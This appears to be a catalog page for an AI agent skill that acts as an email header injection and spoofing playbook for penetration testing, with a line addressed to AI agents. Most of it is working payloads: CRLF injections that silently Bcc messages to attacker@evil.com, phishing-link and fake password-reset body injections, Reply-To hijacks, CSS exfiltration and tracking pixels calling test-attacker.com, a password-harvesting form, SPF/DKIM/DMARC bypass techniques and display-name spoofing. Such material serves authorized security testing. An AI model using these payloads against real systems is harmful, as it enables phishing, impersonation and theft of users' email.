Best for
- Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields.
ok-helloworld/vibe-pentest/references/pentest_skills/email-header-injection/SKILL.md
Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.
Decision brief
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass…
Compatibility matrix
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Not declared | No explicit evidence | Portability before use |
| Cursor | Not declared | No explicit evidence | Portability before use |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/ok-helloworld/vibe-pentest --skill "references/pentest_skills/email-header-injection"Inspect the Agent Skill "email-header-injection" from https://github.com/ok-helloworld/vibe-pentest/blob/04d3a99ae3a595dcce1468faa74b66209acf20f8/references/pentest_skills/email-header-injection/SKILL.md at commit 04d3a99ae3a595dcce1468faa74b66209acf20f8. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
crlf-injection — general CRLF injection; email headers are a specific high-value sink
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Review the “Injection anatomy” section in the pinned source before continuing.
Review the “Encoding variants to try” section in the pinned source before continuing.
A blank line (\r\n\r\n) separates headers from body in SMTP:
Permission review
The documentation includes network, browsing, or remote request actions.
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0aThe documentation includes network, browsing, or remote request actions.
Please click: https://evil.com/phishEvidence record
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 89/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 238 | Source | Repository attention, not individual Skill quality |
| Compatibility | 0 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Normal header construction:
To: [email protected]\r\n
Subject: Contact Form\r\n
From: [email protected]\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: [email protected]\r\n
Result:
Subject: Hello\r\n
Bcc: [email protected]\r\n
| Encoding | Payload |
|---|---|
| URL-encoded | %0d%0a |
| Double URL-encoded | %250d%250a |
| Unicode | \u000d\u000a |
| Raw CRLF | \r\n (in raw request) |
| LF only | %0a (some SMTP servers accept LF without CR) |
| Null byte + CRLF | %00%0d%0a |
Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]
Effect: attacker receives a copy of every email sent through this form
Payload in "From name" field:
John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]
Result headers:
From: John
Cc: [email protected]
Bcc: [email protected]
... (original headers continue)
A blank line (\r\n\r\n) separates headers from body in SMTP:
Payload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)
Payload in From name:
IT Support%0d%0aReply-To:[email protected]
Victim sees "IT Support" as sender
Replies go to [email protected]
Payload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type → renders HTML in email client
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: [email protected]";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: [email protected]%0d%0aCc:[email protected]
// $subject injection: Hello%0d%0aBcc:[email protected]
// $headers injection: From: x%0d%0aBcc:[email protected]
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized
let mailOptions = {
from: req.body.from, // injectable
to: '[email protected]',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);
SPF validates the MAIL FROM envelope sender IP against DNS TXT records.
| Technique | How |
|---|---|
| Subdomain delegation | Target has include:_spf.google.com; attacker uses Google Workspace to send as [email protected] |
| Include chain abuse | v=spf1 include:third-party.com — if third-party allows broad sending |
| DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → permerror → some receivers accept |
+all misconfiguration | v=spf1 +all allows any IP (rare but exists) |
?all or ~all | Softfail/neutral → most receivers still deliver to inbox |
| No SPF record | Domain without SPF → anyone can send as that domain |
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...
# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed
DKIM signs specific headers with a domain key. Bypass vectors:
| Technique | How |
|---|---|
d= vs From: mismatch | DKIM signs with d=subdomain.target.com but From: [email protected] — valid DKIM, spoofed From |
l= tag abuse | l= limits body length signed; attacker appends content after signed portion |
| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
Missing h=from | If from header not in signed headers list (h=), From can be modified |
| Key rotation window | During DKIM key rotation, old selector may still validate |
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim
DMARC requires SPF or DKIM to align with the From: header domain.
| Technique | How |
|---|---|
Relaxed alignment (aspf=r) | SPF passes for sub.target.com, DMARC accepts for target.com |
| Organizational domain | mail.target.com aligns with target.com in relaxed mode |
| No DMARC record | Domain without DMARC → no policy enforcement |
p=none | DMARC exists but policy is none → no enforcement, just reporting |
Subdomain policy (sp=none) | Main domain p=reject but sp=none → subdomains spoofable |
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject
Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
From: "[email protected]" <[email protected]>
From: "IT Security Team - target.com" <[email protected]>
From: "[email protected] via Support" <[email protected]>
Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
<!-- In HTML email body -->
<style>
#secret[value^="a"] { background: url('https://test-attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://test-attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">
<img src="https://test-attacker.com/[email protected]&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
<!-- Some email clients render forms -->
<form action="https://test-attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>
# REST API
POST /api/send-email {"to":"[email protected]\r\nBcc:[email protected]","subject":"Hello","body":"Test"}
# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
# GraphQL
mutation { sendEmail(to:"[email protected]\r\nBcc:[email protected]" subject:"Test" body:"Hello") }
1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
Found email-sending feature?
│
├── User input goes into email headers?
│ ├── YES → Test CRLF injection
│ │ ├── %0d%0a in Subject/From/To field
│ │ │ ├── Extra header appears → CONFIRMED
│ │ │ │ ├── Inject Bcc: → silent exfiltration
│ │ │ │ ├── Inject body (blank line) → content control
│ │ │ │ └── Inject Reply-To: → redirect replies
│ │ │ │
│ │ │ └── Filtered? → Try encoding variants
│ │ │ ├── %250d%250a (double encode)
│ │ │ ├── %0a only (LF without CR)
│ │ │ └── Unicode \u000d\u000a
│ │ │
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
│ │
│ └── NO (user input only in body) → limited impact
│ └── Check for HTML injection in email body
│ └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│ ├── Check SPF: dig TXT target.com
│ │ ├── No SPF / +all / ~all → direct spoofing possible
│ │ └── -all → SPF blocks; check DKIM/DMARC
│ │
│ ├── Check DMARC: dig TXT _dmarc.target.com
│ │ ├── No DMARC / p=none → spoofing delivered
│ │ ├── p=quarantine → lands in spam but delivered
│ │ └── p=reject → blocked; try subdomain (sp= policy)
│ │
│ └── All strict → Display name spoofing only
│ └── "[email protected]" <[email protected]>
│
└── Testing password reset email?
├── Check for token in URL → open redirect chain?
│ └── See ../open-redirect/SKILL.md
└── Check for host header injection → password reset poisoning
└── See ../http-host-header-attacks/SKILL.md
# BCC injection via Subject
Subject: Hello%0d%0aBcc:[email protected]
# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com
# Reply-To hijack
From: Support%0d%0aReply-To:[email protected]
# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
# Display name spoof (no injection needed)
From: "[email protected]" <[email protected]>
Alternatives
majiayu000/spellbook
Complete testing strategy covering TDD workflow, test pyramid, unit/integration/E2E/property testing, framework best practices (Jest, Vitest, pytest), mock strategies, and CI integration. Use when writing tests, reviewing test quality, or establishing testing standards.
ffroliva/gflow-cli
Use when the user wants to drive Google Flow (Veo image-to-video, Veo text-to-video, Imagen / Nano Banana image generation) from the terminal or a script — including text-to-video, image-to-video, image-to-image, batch image pipelines, or burning Flow Ultra/Pro credits programmatically. The CLI is `gflow` (or `flow`); install with `uv tool install gflow-cli` or run ad-hoc with `uvx --from gflow-cli gflow ...`. Drives the real Flow web UI through a headed Chrome session (Playwright) after a one-t
dotnet/skills
Analyzes test suites in any language and tags each test with standardized traits (positive, negative, critical-path, boundary, smoke, regression, integration, performance, security). Use when the user wants to categorize, audit, or label tests with traits. Works across .NET (MSTest/xUnit/NUnit/TUnit), Python (pytest), TS/JS (Jest/Vitest), Java, Go, Ruby, Rust, Swift, Kotlin, PowerShell, and C++ — auto-editing when the framework has canonical tag syntax, otherwise report-only. Do not use for writ
PramodDutta/qaskills
Generate optimized test combinations using pairwise (all-pairs) testing algorithms to achieve maximum coverage with minimum test cases across multiple input parameters